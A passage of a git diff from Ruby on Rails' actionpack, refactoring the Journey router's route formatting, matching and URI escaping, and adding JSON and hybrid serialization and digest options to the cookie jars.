-          @optional_names ||= spec.grep(Nodes::Group).map { |group|
+          @optional_names ||= spec.grep(Nodes::Group).flat_map { |group|
             group.grep(Nodes::Symbol)
-          }.flatten.map { |n| n.name }.uniq
+          }.map(&:name).uniq
         end
 
         class RegexpOffsets < Journey::Visitors::Visitor # :nodoc:
@@ -125,6 +122,11 @@ module ActionDispatch
             re = @matchers[node.left.to_sym] || '.+'
             "(#{re})"
           end
+
+          def visit_OR(node)
+            children = node.children.map { |n| visit n }
+            "(?:#{children.join(?|)})"
+          end
         end
 
         class UnanchoredRegexp < AnchoredRegexp # :nodoc:
diff --git a/actionpack/lib/action_dispatch/journey/route.rb b/actionpack/lib/action_dispatch/journey/route.rb
index c8eb0f6f2d..4d5c18984a 100644
--- a/actionpack/lib/action_dispatch/journey/route.rb
+++ b/actionpack/lib/action_dispatch/journey/route.rb
@@ -16,14 +16,6 @@ module ActionDispatch
         @app         = app
         @path        = path
 
-        # Unwrap any constraints so we can see what's inside for route generation.
-        # This allows the formatter to skip over any mounted applications or redirects
-        # that shouldn't be matched when using a url_for without a route name.
-        while app.is_a?(Routing::Mapper::Constraints) do
-          app = app.app
-        end
-        @dispatcher  = app.is_a?(Routing::RouteSet::Dispatcher)
-
         @constraints = constraints
         @defaults    = defaults
         @required_defaults = nil
@@ -31,6 +23,7 @@ module ActionDispatch
         @parts             = nil
         @decorated_ast     = nil
         @precedence        = 0
+        @path_formatter    = @path.build_formatter
       end
 
       def ast
@@ -67,28 +60,16 @@ module ActionDispatch
       end
 
       def parts
-        @parts ||= segments.map { |n| n.to_sym }
+        @parts ||= segments.map(&:to_sym)
       end
       alias :segment_keys :parts
 
       def format(path_options)
-        path_options.delete_if do |key, value|
-          value.to_s == defaults[key].to_s && !required_parts.include?(key)
-        end
-
-        Visitors::Formatter.new(path_options).accept(path.spec)
-      end
-
-      def optimized_path
-        Visitors::OptimizedPath.new.accept(path.spec)
-      end
-
-      def optional_parts
-        path.optional_names.map { |n| n.to_sym }
+        @path_formatter.evaluate path_options
       end
 
       def required_parts
-        @required_parts ||= path.required_names.map { |n| n.to_sym }
+        @required_parts ||= path.required_names.map(&:to_sym)
       end
 
       def required_default?(key)
@@ -101,8 +82,12 @@ module ActionDispatch
         end
       end
 
+      def glob?
+        !path.spec.grep(Nodes::Star).empty?
+      end
+
       def dispatcher?
-        @dispatcher
+        @app.dispatcher?
       end
 
       def matches?(request)
diff --git a/actionpack/lib/action_dispatch/journey/router.rb b/actionpack/lib/action_dispatch/journey/router.rb
index da32f1bfe7..e9df984c86 100644
--- a/actionpack/lib/action_dispatch/journey/router.rb
+++ b/actionpack/lib/action_dispatch/journey/router.rb
@@ -20,60 +20,32 @@ module ActionDispatch
       # :nodoc:
       VERSION = '2.0.0'
 
-      class NullReq # :nodoc:
-        attr_reader :env
-        def initialize(env)
-          @env = env
-        end
-
-        def request_method
-          env['REQUEST_METHOD']
-        end
-
-        def path_info
-          env['PATH_INFO']
-        end
-
-        def ip
-          env['REMOTE_ADDR']
-        end
-
-        def [](k)
-          env[k]
-        end
-      end
-
-      attr_reader :request_class, :formatter
       attr_accessor :routes
 
-      def initialize(routes, options)
-        @options       = options
-        @params_key    = options[:parameters_key]
-        @request_class = options[:request_class] || NullReq
-        @routes        = routes
+      def initialize(routes)
+        @routes = routes
       end
 
-      def call(env)
-        env['PATH_INFO'] = normalize_path(env['PATH_INFO'])
-
-        find_routes(env).each do |match, parameters, route|
-          script_name, path_info, set_params = env.values_at('SCRIPT_NAME',
-                                                             'PATH_INFO',
-                                                             @params_key)
+      def serve(req)
+        find_routes(req).each do |match, parameters, route|
+          set_params  = req.path_parameters
+          path_info   = req.path_info
+          script_name = req.script_name
 
           unless route.path.anchored
-            env['SCRIPT_NAME'] = (script_name.to_s + match.to_s).chomp('/')
-            env['PATH_INFO']   = match.post_match
+            req.script_name = (script_name.to_s + match.to_s).chomp('/')
+            req.path_info = match.post_match
+            req.path_info = "/" + req.path_info unless req.path_info.start_with? "/"
           end
 
-          env[@params_key] = (set_params || {}).merge parameters
+          req.path_parameters = set_params.merge parameters
 
-          status, headers, body = route.app.call(env)
+          status, headers, body = route.app.serve(req)
 
           if 'pass' == headers['X-Cascade']
-            env['SCRIPT_NAME'] = script_name
-            env['PATH_INFO']   = path_info
-            env[@params_key]   = set_params
+            req.script_name     = script_name
+            req.path_info       = path_info
+            req.path_parameters = set_params
             next
           end
 
@@ -83,32 +55,26 @@ module ActionDispatch
         return [404, {'X-Cascade' => 'pass'}, ['Not Found']]
       end
 
-      def recognize(req)
-        find_routes(req.env).each do |match, parameters, route|
+      def recognize(rails_req)
+        find_routes(rails_req).each do |match, parameters, route|
           unless route.path.anchored
-            req.env['SCRIPT_NAME'] = match.to_s
-            req.env['PATH_INFO']   = match.post_match.sub(/^([^\/])/, '/\1')
+            rails_req.script_name = match.to_s
+            rails_req.path_info   = match.post_match.sub(/^([^\/])/, '/\1')
           end
 
-          yield(route, nil, parameters)
+          yield(route, parameters)
         end
       end
 
       def visualizer
         tt     = GTG::Builder.new(ast).transition_table
-        groups = partitioned_routes.first.map(&:ast).group_by { |a| a.to_s }
-        asts   = groups.values.map { |v| v.first }
+        groups = partitioned_routes.first.map(&:ast).group_by(&:to_s)
+        asts   = groups.values.map(&:first)
         tt.visualizer(asts)
       end
 
       private
 
-        def normalize_path(path)
-          path = "/#{path}"
-          path.squeeze!('/')
-          path
-        end
-
         def partitioned_routes
           routes.partitioned_routes
         end
@@ -127,45 +93,51 @@ module ActionDispatch
 
         def filter_routes(path)
           return [] unless ast
-          data = simulator.match(path)
-          data ? data.memos : []
+          simulator.memos(path) { [] }
         end
 
-        def find_routes env
-          req = request_class.new(env)
-
+        def find_routes req
           routes = filter_routes(req.path_info).concat custom_routes.find_all { |r|
             r.path.match(req.path_info)
           }
-          routes.concat get_routes_as_head(routes)
 
-          routes.sort_by!(&:precedence).select! { |r| r.matches?(req) }
+          routes =
+            if req.request_method == "HEAD"
+              match_head_routes(routes, req)
+            else
+              match_routes(routes, req)
+            end
+
+          routes.sort_by!(&:precedence)
 
           routes.map! { |r|
             match_data  = r.path.match(req.path_info)
-            match_names = match_data.names.map { |n| n.to_sym }
-            match_values = match_data.captures.map { |v| v && Utils.unescape_uri(v) }
-            info = Hash[match_names.zip(match_values).find_all { |_, y| y }]
-
-            [match_data, r.defaults.merge(info), r]
+            path_parameters = r.defaults.dup
+            match_data.names.zip(match_data.captures) { |name,val|
+              path_parameters[name.to_sym] = Utils.unescape_uri(val) if val
+            }
+            [match_data, path_parameters, r]
           }
         end
 
-        def get_routes_as_head(routes)
-          precedence = (routes.map(&:precedence).max || 0) + 1
-          routes = routes.select { |r|
-            r.verb === "GET" && !(r.verb === "HEAD")
-          }.map! { |r|
-            Route.new(r.name,
-                      r.app,
-                      r.path,
-                      r.conditions.merge(request_method: "HEAD"),
-                      r.defaults).tap do |route|
-                        route.precedence = r.precedence + precedence
-                      end
-          }
-          routes.flatten!
-          routes
+        def match_head_routes(routes, req)
+          routes.delete_if { |route| route.verb == // }
+          head_routes = match_routes(routes, req)
+
+          if head_routes.empty?
+            begin
+              req.request_method = "GET"
+              match_routes(routes, req)
+            ensure
+              req.request_method = "HEAD"
+            end
+          else
+            head_routes
+          end
+        end
+
+        def match_routes(routes, req)
+          routes.select { |r| r.matches?(req) }
         end
     end
   end
diff --git a/actionpack/lib/action_dispatch/journey/router/strexp.rb b/actionpack/lib/action_dispatch/journey/router/strexp.rb
index f97f1a223e..4b7738f335 100644
--- a/actionpack/lib/action_dispatch/journey/router/strexp.rb
+++ b/actionpack/lib/action_dispatch/journey/router/strexp.rb
@@ -6,18 +6,21 @@ module ActionDispatch
           alias :compile :new
         end
 
-        attr_reader :path, :requirements, :separators, :anchor
+        attr_reader :path, :requirements, :separators, :anchor, :ast
 
-        def initialize(path, requirements, separators, anchor = true)
+        def self.build(path, requirements, separators, anchor = true)
+          parser = Journey::Parser.new
+          ast = parser.parse path
+          new ast, path, requirements, separators, anchor
+        end
+
+        def initialize(ast, path, requirements, separators, anchor = true)
+          @ast          = ast
           @path         = path
           @requirements = requirements
           @separators   = separators
           @anchor       = anchor
         end
-
-        def names
-          @path.scan(/:\w+/).map { |s| s.tr(':', '') }
-        end
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/journey/router/utils.rb b/actionpack/lib/action_dispatch/journey/router/utils.rb
index 462f1a122d..2b0a6575d4 100644
--- a/actionpack/lib/action_dispatch/journey/router/utils.rb
+++ b/actionpack/lib/action_dispatch/journey/router/utils.rb
@@ -1,5 +1,3 @@
-require 'uri'
-
 module ActionDispatch
   module Journey # :nodoc:
     class Router # :nodoc:
@@ -7,46 +5,87 @@ module ActionDispatch
         # Normalizes URI path.
         #
         # Strips off trailing slash and ensures there is a leading slash.
+        # Also converts downcase url encoded string to uppercase.
         #
         #   normalize_path("/foo")  # => "/foo"
         #   normalize_path("/foo/") # => "/foo"
         #   normalize_path("foo")   # => "/foo"
         #   normalize_path("")      # => "/"
+        #   normalize_path("/%ab")  # => "/%AB"
         def self.normalize_path(path)
           path = "/#{path}"
           path.squeeze!('/')
           path.sub!(%r{/+\Z}, '')
+          path.gsub!(/(%[a-f0-9]{2})/) { $1.upcase }
           path = '/' if path == ''
           path
         end
 
         # URI path and fragment escaping
         # http://tools.ietf.org/html/rfc3986
-        module UriEscape # :nodoc:
-          # Symbol captures can generate multiple path segments, so include /.
-          reserved_segment  = '/'
-          reserved_fragment = '/?'
-          reserved_pchar    = ':@&=+$,;%'
-
-          safe_pchar    = "#{URI::REGEXP::PATTERN::UNRESERVED}#{reserved_pchar}"
-          safe_segment  = "#{safe_pchar}#{reserved_segment}"
-          safe_fragment = "#{safe_pchar}#{reserved_fragment}"
-          UNSAFE_SEGMENT  = Regexp.new("[^#{safe_segment}]", false).freeze
-          UNSAFE_FRAGMENT = Regexp.new("[^#{safe_fragment}]", false).freeze
+        class UriEncoder # :nodoc:
+          ENCODE   = "%%%02X".freeze
+          US_ASCII = Encoding::US_ASCII
+          UTF_8    = Encoding::UTF_8
+          EMPTY    = "".force_encoding(US_ASCII).freeze
+          DEC2HEX  = (0..255).to_a.map{ |i| ENCODE % i }.map{ |s| s.force_encoding(US_ASCII) }
+
+          ALPHA = "a-zA-Z".freeze
+          DIGIT = "0-9".freeze
+          UNRESERVED = "#{ALPHA}#{DIGIT}\\-\\._~".freeze
+          SUB_DELIMS = "!\\$&'\\(\\)\\*\\+,;=".freeze
+
+          ESCAPED  = /%[a-zA-Z0-9]{2}/.freeze
+
+          FRAGMENT = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/\?]/.freeze
+          SEGMENT  = /[^#{UNRESERVED}#{SUB_DELIMS}:@]/.freeze
+          PATH     = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/]/.freeze
+
+          def escape_fragment(fragment)
+            escape(fragment, FRAGMENT)
+          end
+
+          def escape_path(path)
+            escape(path, PATH)
+          end
+
+          def escape_segment(segment)
+            escape(segment, SEGMENT)
+          end
+
+          def unescape_uri(uri)
+            encoding = uri.encoding == US_ASCII ? UTF_8 : uri.encoding
+            uri.gsub(ESCAPED) { [$&[1, 2].hex].pack('C') }.force_encoding(encoding)
+          end
+
+          protected
+            def escape(component, pattern)
+              component.gsub(pattern){ |unsafe| percent_encode(unsafe) }.force_encoding(US_ASCII)
+            end
+
+            def percent_encode(unsafe)
+              safe = EMPTY.dup
+              unsafe.each_byte { |b| safe << DEC2HEX[b] }
+              safe
+            end
         end
 
-        Parser = URI.const_defined?(:Parser) ? URI::Parser.new : URI
+        ENCODER = UriEncoder.new
 
         def self.escape_path(path)
-          Parser.escape(path.to_s, UriEscape::UNSAFE_SEGMENT)
+          ENCODER.escape_path(path.to_s)
+        end
+
+        def self.escape_segment(segment)
+          ENCODER.escape_segment(segment.to_s)
         end
 
         def self.escape_fragment(fragment)
-          Parser.escape(fragment.to_s, UriEscape::UNSAFE_FRAGMENT)
+          ENCODER.escape_fragment(fragment.to_s)
         end
 
         def self.unescape_uri(uri)
-          Parser.unescape(uri)
+          ENCODER.unescape_uri(uri)
         end
       end
     end
diff --git a/actionpack/lib/action_dispatch/journey/scanner.rb b/actionpack/lib/action_dispatch/journey/scanner.rb
index 633be11a2d..19e0bc03d6 100644
--- a/actionpack/lib/action_dispatch/journey/scanner.rb
+++ b/actionpack/lib/action_dispatch/journey/scanner.rb
@@ -39,18 +39,18 @@ module ActionDispatch
             [:SLASH, text]
           when text = @ss.scan(/\*\w+/)
             [:STAR, text]
-          when text = @ss.scan(/\(/)
+          when text = @ss.scan(/(?<!\\)\(/)
             [:LPAREN, text]
-          when text = @ss.scan(/\)/)
+          when text = @ss.scan(/(?<!\\)\)/)
             [:RPAREN, text]
           when text = @ss.scan(/\|/)
             [:OR, text]
           when text = @ss.scan(/\./)
             [:DOT, text]
-          when text = @ss.scan(/:\w+/)
+          when text = @ss.scan(/(?<!\\):\w+/)
             [:SYMBOL, text]
-          when text = @ss.scan(/[\w%\-~]+/)
-            [:LITERAL, text]
+          when text = @ss.scan(/(?:[\w%\-~!$&'*+,;=@]|\\:|\\\(|\\\))+/)
+            [:LITERAL, text.tr('\\', '')]
             # any char
           when text = @ss.scan(/./)
             [:LITERAL, text]
diff --git a/actionpack/lib/action_dispatch/journey/visitors.rb b/actionpack/lib/action_dispatch/journey/visitors.rb
index 0a8cb1b4d4..52b4c8b489 100644
--- a/actionpack/lib/action_dispatch/journey/visitors.rb
+++ b/actionpack/lib/action_dispatch/journey/visitors.rb
@@ -1,11 +1,57 @@
 # encoding: utf-8
+
 module ActionDispatch
   module Journey # :nodoc:
+    class Format
+      ESCAPE_PATH    = ->(value) { Router::Utils.escape_path(value) }
+      ESCAPE_SEGMENT = ->(value) { Router::Utils.escape_segment(value) }
+
+      class Parameter < Struct.new(:name, :escaper)
+        def escape(value); escaper.call value; end
+      end
+
+      def self.required_path(symbol)
+        Parameter.new symbol, ESCAPE_PATH
+      end
+
+      def self.required_segment(symbol)
+        Parameter.new symbol, ESCAPE_SEGMENT
+      end
+
+      def initialize(parts)
+        @parts      = parts
+        @children   = []
+        @parameters = []
+
+        parts.each_with_index do |object,i|
+          case object
+          when Journey::Format
+            @children << i
+          when Parameter
+            @parameters << i
+          end
+        end
+      end
+
+      def evaluate(hash)
+        parts = @parts.dup
+
+        @parameters.each do |index|
+          param = parts[index]
+          value = hash[param.name]
+          return ''.freeze unless value
+          parts[index] = param.escape value
+        end
+
+        @children.each { |index| parts[index] = parts[index].evaluate(hash) }
+
+        parts.join
+      end
+    end
+
     module Visitors # :nodoc:
       class Visitor # :nodoc:
-        DISPATCH_CACHE = Hash.new { |h,k|
-          h[k] = :"visit_#{k}"
-        }
+        DISPATCH_CACHE = {}
 
         def accept(node)
           visit(node)
@@ -35,9 +81,39 @@ module ActionDispatch
           def visit_STAR(n); unary(n); end
 
           def terminal(node); end
-          %w{ LITERAL SYMBOL SLASH DOT }.each do |t|
-            class_eval %{ def visit_#{t}(n); terminal(n); end }, __FILE__, __LINE__
+          def visit_LITERAL(n); terminal(n); end
+          def visit_SYMBOL(n);  terminal(n); end
+          def visit_SLASH(n);   terminal(n); end
+          def visit_DOT(n);     terminal(n); end
+
+          private_instance_methods(false).each do |pim|
+            next unless pim =~ /^visit_(.*)$/
+            DISPATCH_CACHE[$1.to_sym] = pim
+          end
+      end
+
+      class FormatBuilder < Visitor # :nodoc:
+        def accept(node); Journey::Format.new(super); end
+        def terminal(node); [node.left]; end
+
+        def binary(node)
+          visit(node.left) + visit(node.right)
+        end
+
+        def visit_GROUP(n); [Journey::Format.new(unary(n))]; end
+
+        def visit_STAR(n)
+          [Journey::Format.required_path(n.left.to_sym)]
+        end
+
+        def visit_SYMBOL(n)
+          symbol = n.to_sym
+          if symbol == :controller
+            [Journey::Format.required_path(symbol)]
+          else
+            [Journey::Format.required_segment(symbol)]
           end
+        end
       end
 
       # Loop through the requirements AST
@@ -49,8 +125,8 @@ module ActionDispatch
         end
 
         def visit(node)
-          super
           block.call(node)
+          super
         end
       end
 
@@ -74,58 +150,6 @@ module ActionDispatch
         end
       end
 
-      class OptimizedPath < String # :nodoc:
-        private
-
-        def visit_GROUP(node)
-          ""
-        end
-      end
-
-      # Used for formatting urls (url_for)
-      class Formatter < Visitor # :nodoc:
-        attr_reader :options, :consumed
-
-        def initialize(options)
-          @options  = options
-          @consumed = {}
-        end
-
-        private
-
-          def visit_GROUP(node)
-            if consumed == options
-              nil
-            else
-              route = visit(node.left)
-              route.include?("\0") ? nil : route
-            end
-          end
-
-          def terminal(node)
-            node.left
-          end
-
-          def binary(node)
-            [visit(node.left), visit(node.right)].join
-          end
-
-          def nary(node)
-            node.children.map { |c| visit(c) }.join
-          end
-
-          def visit_SYMBOL(node)
-            key = node.to_sym
-
-            if value = options[key]
-              consumed[key] = value
-              Router::Utils.escape_path(value)
-            else
-              "\0"
-            end
-          end
-      end
-
       class Dot < Visitor # :nodoc:
         def initialize
           @nodes = []
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/fsm.css b/actionpack/lib/action_dispatch/journey/visualizer/fsm.css
index 50caebaa18..403e16a7bb 100644
--- a/actionpack/lib/action_dispatch/journey/visualizer/fsm.css
+++ b/actionpack/lib/action_dispatch/journey/visualizer/fsm.css
@@ -16,10 +16,6 @@ h2 {
   font-size: 0.5em;
 }
 
-div#chart-2 {
-  height: 350px;
-}
-
 .clearfix {display: inline-block; }
 .input { overflow: show;}
 .instruction { color: #666; padding: 0 30px 20px; font-size: 0.9em}
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb b/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
index 6aff10956a..9b28a65200 100644
--- a/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
+++ b/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
@@ -2,13 +2,13 @@
 <html>
   <head>
     <title><%= title %></title>
-    <link rel="stylesheet" href="https://raw.github.com/gist/1706081/af944401f75ea20515a02ddb3fb43d23ecb8c662/reset.css" type="text/css">
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.css" type="text/css">
     <style>
       <% stylesheets.each do |style| %>
         <%= style %>
       <% end %>
     </style>
-    <script src="https://raw.github.com/gist/1706081/df464722a05c3c2bec450b7b5c8240d9c31fa52d/d3.min.js" type="text/javascript"></script>
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/d3/3.4.8/d3.min.js" type="text/javascript"></script>
   </head>
   <body>
     <div id="wrapper">
diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb
index 852f1cf6f5..f80df78582 100644
--- a/actionpack/lib/action_dispatch/middleware/callbacks.rb
+++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb
@@ -1,6 +1,6 @@
 
 module ActionDispatch
-  # Provide callbacks to be executed before and after the request dispatch.
+  # Provides callbacks to be executed before and after dispatching the request.
   class Callbacks
     include ActiveSupport::Callbacks
 
@@ -8,14 +8,14 @@ module ActionDispatch
 
     class << self
       delegate :to_prepare, :to_cleanup, :to => "ActionDispatch::Reloader"
-    end
 
-    def self.before(*args, &block)
-      set_callback(:call, :before, *args, &block)
-    end
+      def before(*args, &block)
+        set_callback(:call, :before, *args, &block)
+      end
 
-    def self.after(*args, &block)
-      set_callback(:call, :after, *args, &block)
+      def after(*args, &block)
+        set_callback(:call, :after, *args, &block)
+      end
     end
 
     def initialize(app)
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
index 3ccd0c9ee8..b7687ca100 100644
--- a/actionpack/lib/action_dispatch/middleware/cookies.rb
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -3,6 +3,7 @@ require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/object/blank'
 require 'active_support/key_generator'
 require 'active_support/message_verifier'
+require 'active_support/json'
 
 module ActionDispatch
   class Request < Rack::Request
@@ -23,15 +24,15 @@ module ActionDispatch
   #   # This cookie will be deleted when the user's browser is closed.
   #   cookies[:user_name] = "david"
   #
-  #   # Assign an array of values to a cookie.
-  #   cookies[:lat_lon] = [47.68, -122.37]
+  #   # Cookie values are String based. Other data types need to be serialized.
+  #   cookies[:lat_lon] = JSON.generate([47.68, -122.37])
   #
   #   # Sets a cookie that expires in 1 hour.
   #   cookies[:login] = { value: "XJ-122", expires: 1.hour.from_now }
   #
   #   # Sets a signed cookie, which prevents users from tampering with its value.
-  #   # The cookie is signed by your app's <tt>config.secret_key_base</tt> value.
-  #   # It can be read using the signed method <tt>cookies.signed[:name]</tt>
+  #   # The cookie is signed by your app's `secrets.secret_key_base` value.
+  #   # It can be read using the signed method `cookies.signed[:name]`
   #   cookies.signed[:user_id] = current_user.id
   #
   #   # Sets a "permanent" cookie (which expires in 20 years from now).
@@ -42,10 +43,10 @@ module ActionDispatch
   #
   # Examples of reading:
   #
-  #   cookies[:user_name]    # => "david"
-  #   cookies.size           # => 2
-  #   cookies[:lat_lon]      # => [47.68, -122.37]
-  #   cookies.signed[:login] # => "XJ-122"
+  #   cookies[:user_name]           # => "david"
+  #   cookies.size                  # => 2
+  #   JSON.parse(cookies[:lat_lon]) # => [47.68, -122.37]
+  #   cookies.signed[:login]        # => "XJ-122"
   #
   # Example for deleting:
   #
@@ -63,18 +64,20 @@ module ActionDispatch
   #
   # The option symbols for setting cookies are:
   #
-  # * <tt>:value</tt> - The cookie's value or list of values (as an array).
+  # * <tt>:value</tt> - The cookie's value.
   # * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root
   #   of the application.
   # * <tt>:domain</tt> - The domain for which this cookie applies so you can
   #   restrict to the domain level. If you use a schema like www.example.com
   #   and want to share session with user.example.com set <tt>:domain</tt>
   #   to <tt>:all</tt>. Make sure to specify the <tt>:domain</tt> option with
-  #   <tt>:all</tt> again when deleting cookies.
+  #   <tt>:all</tt> or <tt>Array</tt> again when deleting cookies.
   #
-  #     domain: nil  # Does not sets cookie domain. (default)
+  #     domain: nil  # Does not set cookie domain. (default)
   #     domain: :all # Allow the cookie for the top most level
-  #                       domain and subdomains.
+  #                  # domain and subdomains.
+  #     domain: %w(.example.com .example.org) # Allow the cookie
+  #                                           # for concrete domain names.
   #
   # * <tt>:expires</tt> - The time at which this cookie expires, as a \Time object.
   # * <tt>:secure</tt> - Whether this cookie is only transmitted to HTTPS servers.
@@ -89,6 +92,8 @@ module ActionDispatch
     ENCRYPTED_SIGNED_COOKIE_SALT = "action_dispatch.encrypted_signed_cookie_salt".freeze
     SECRET_TOKEN = "action_dispatch.secret_token".freeze
     SECRET_KEY_BASE = "action_dispatch.secret_key_base".freeze
+    COOKIES_SERIALIZER = "action_dispatch.cookies_serializer".freeze
+    COOKIES_DIGEST = "action_dispatch.cookies_digest".freeze
 
     # Cookies can typically store 4096 bytes.
     MAX_COOKIE_SIZE = 4096
@@ -117,10 +122,10 @@ module ActionDispatch
       # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
       # cookie was tampered with by the user (or a 3rd party), nil will be returned.
       #
-      # If +config.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
+      # If +secrets.secret_key_base+ and +secrets.secret_token+ (deprecated) are both set,
       # legacy cookies signed with the old key generator will be transparently upgraded.
       #
-      # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
+      # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
       #
       # Example:
       #
@@ -140,10 +145,10 @@ module ActionDispatch
       # Returns a jar that'll automatically encrypt cookie values before sending them to the client and will decrypt them for read.
       # If the cookie was tampered with by the user (or a 3rd party), nil will be returned.
       #
-      # If +config.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
+      # If +secrets.secret_key_base+ and +secrets.secret_token+ (deprecated) are both set,
       # legacy cookies signed with the old key generator will be transparently upgraded.
       #
-      # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
+      # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
       #
       # Example:
       #
@@ -172,15 +177,19 @@ module ActionDispatch
       end
     end
 
+    # Passing the ActiveSupport::MessageEncryptor::NullSerializer downstream
+    # to the Message{Encryptor,Verifier} allows us to handle the
+    # (de)serialization step within the cookie jar, which gives us the
+    # opportunity to detect and migrate legacy cookies.
     module VerifyAndUpgradeLegacySignedMessage
       def initialize(*args)
         super
-        @legacy_verifier = ActiveSupport::MessageVerifier.new(@options[:secret_token])
+        @legacy_verifier = ActiveSupport::MessageVerifier.new(@options[:secret_token], serializer: ActiveSupport::MessageEncryptor::NullSerializer)
       end
 
       def verify_and_upgrade_legacy_signed_message(name, signed_message)
-        @legacy_verifier.verify(signed_message).tap do |value|
-          self[name] = value
+        deserialize(name, @legacy_verifier.verify(signed_message)).tap do |value|
+          self[name] = { value: value }
         end
       rescue ActiveSupport::MessageVerifier::InvalidSignature
         nil
@@ -210,7 +219,9 @@ module ActionDispatch
           encrypted_signed_cookie_salt: env[ENCRYPTED_SIGNED_COOKIE_SALT] || '',
           secret_token: env[SECRET_TOKEN],
           secret_key_base: env[SECRET_KEY_BASE],
-          upgrade_legacy_signed_cookies: env[SECRET_TOKEN].present? && env[SECRET_KEY_BASE].present?
+          upgrade_legacy_signed_cookies: env[SECRET_TOKEN].present? && env[SECRET_KEY_BASE].present?,
+          serializer: env[COOKIES_SERIALIZER],
+          digest: env[COOKIES_DIGEST]
         }
       end
 
@@ -235,6 +246,15 @@ module ActionDispatch
         @secure = secure
         @options = options
         @cookies = {}
+        @committed = false
+      end
+
+      def committed?; @committed; end
+
+      def commit!
+        @committed = true
+        @set_cookies.freeze
+        @delete_cookies.freeze
       end
 
       def each(&block)
@@ -263,7 +283,7 @@ module ActionDispatch
       def handle_options(options) #:nodoc:
         options[:path] ||= "/"
 
-        if options[:domain] == :all
+        if options[:domain] == :all || options[:domain] == 'all'
           # if there is a provided tld length then we use it otherwise default domain regexp
           domain_regexp = options[:tld_length] ? /([^.]+\.?){#{options[:tld_length]}}$/ : DOMAIN_REGEXP
 
@@ -278,8 +298,8 @@ module ActionDispatch
         end
       end
 
-      # Sets the cookie named +name+. The second argument may be the very cookie
-      # value, or a hash of options as documented above.
+      # Sets the cookie named +name+. The second argument may be the cookie's
+      # value or a hash of options as documented above.
       def []=(name, options)
         if options.is_a?(Hash)
           options.symbolize_keys!
@@ -334,8 +354,8 @@ module ActionDispatch
       end
 
       def recycle! #:nodoc:
-        @set_cookies.clear
-        @delete_cookies.clear
+        @set_cookies = {}
+        @delete_cookies = {}
       end
 
       mattr_accessor :always_write_cookie
@@ -372,31 +392,83 @@ module ActionDispatch
       end
     end
 
+    class JsonSerializer
+      def self.load(value)
+        ActiveSupport::JSON.decode(value)
+      end
+
+      def self.dump(value)
+        ActiveSupport::JSON.encode(value)
+      end
+    end
+
+    module SerializedCookieJars
+      MARSHAL_SIGNATURE = "\x04\x08".freeze
+
+      protected
+        def needs_migration?(value)
+          @options[:serializer] == :hybrid && value.start_with?(MARSHAL_SIGNATURE)
+        end
+
+        def serialize(value)
+          serializer.dump(value)
+        end
+
+        def deserialize(name, value)
+          if value
+            if needs_migration?(value)
+              Marshal.load(value).tap do |v|
+                self[name] = { value: v }
+              end
+            else
+              serializer.load(value)
+            end
+          end
+        end
+
+        def serializer
+          serializer = @options[:serializer] || :marshal
+          case serializer
+          when :marshal
+            Marshal
+          when :json, :hybrid
+            JsonSerializer
+          else
+            serializer
+          end
+        end
+
+        def digest
+          @options[:digest] || 'SHA1'
+        end
+    end
+
     class SignedCookieJar #:nodoc:
       include ChainedCookieJars
+      include SerializedCookieJars
 
       def initialize(parent_jar, key_generator, options = {})
         @parent_jar = parent_jar
         @options = options
         secret = key_generator.generate_key(@options[:signed_cookie_salt])
-        @verifier   = ActiveSupport::MessageVerifier.new(secret)
+        @verifier = ActiveSupport::MessageVerifier.new(secret, digest: digest, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
       end
 
       def [](name)
         if signed_message = @parent_jar[name]
-          verify(signed_message)
+          deserialize name, verify(signed_message)
         end
       end
 
       def []=(name, options)
         if options.is_a?(Hash)
           options.symbolize_keys!
-          options[:value] = @verifier.generate(options[:value])
+          options[:value] = @verifier.generate(serialize(options[:value]))
         else
-          options = { :value => @verifier.generate(options) }
+          options = { :value => @verifier.generate(serialize(options)) }
         end
 
-        raise CookieOverflow if options[:value].size > MAX_COOKIE_SIZE
+        raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE
         @parent_jar[name] = options
       end
 
@@ -409,7 +481,7 @@ module ActionDispatch
     end
 
     # UpgradeLegacySignedCookieJar is used instead of SignedCookieJar if
-    # config.secret_token and config.secret_key_base are both set. It reads
+    # secrets.secret_token and secrets.secret_key_base are both set. It reads
     # legacy cookies signed with the old dummy key generator and re-saves
     # them using the new key generator to provide a smooth upgrade path.
     class UpgradeLegacySignedCookieJar < SignedCookieJar #:nodoc:
@@ -417,17 +489,18 @@ module ActionDispatch
 
       def [](name)
         if signed_message = @parent_jar[name]
-          verify(signed_message) || verify_and_upgrade_legacy_signed_message(name, signed_message)
+          deserialize(name, verify(signed_message)) || verify_and_upgrade_legacy_signed_message(name, signed_message)
         end
       end
     end
 
     class EncryptedCookieJar #:nodoc:
       include ChainedCookieJars
+      include SerializedCookieJars
 
       def initialize(parent_jar, key_generator, options = {})
         if ActiveSupport::LegacyKeyGenerator === key_generator
-          raise "You didn't set config.secret_key_base, which is required for this cookie jar. " +
+          raise "You didn't set secrets.secret_key_base, which is required for this cookie jar. " +
             "Read the upgrade documentation to learn more about this new config option."
         end
 
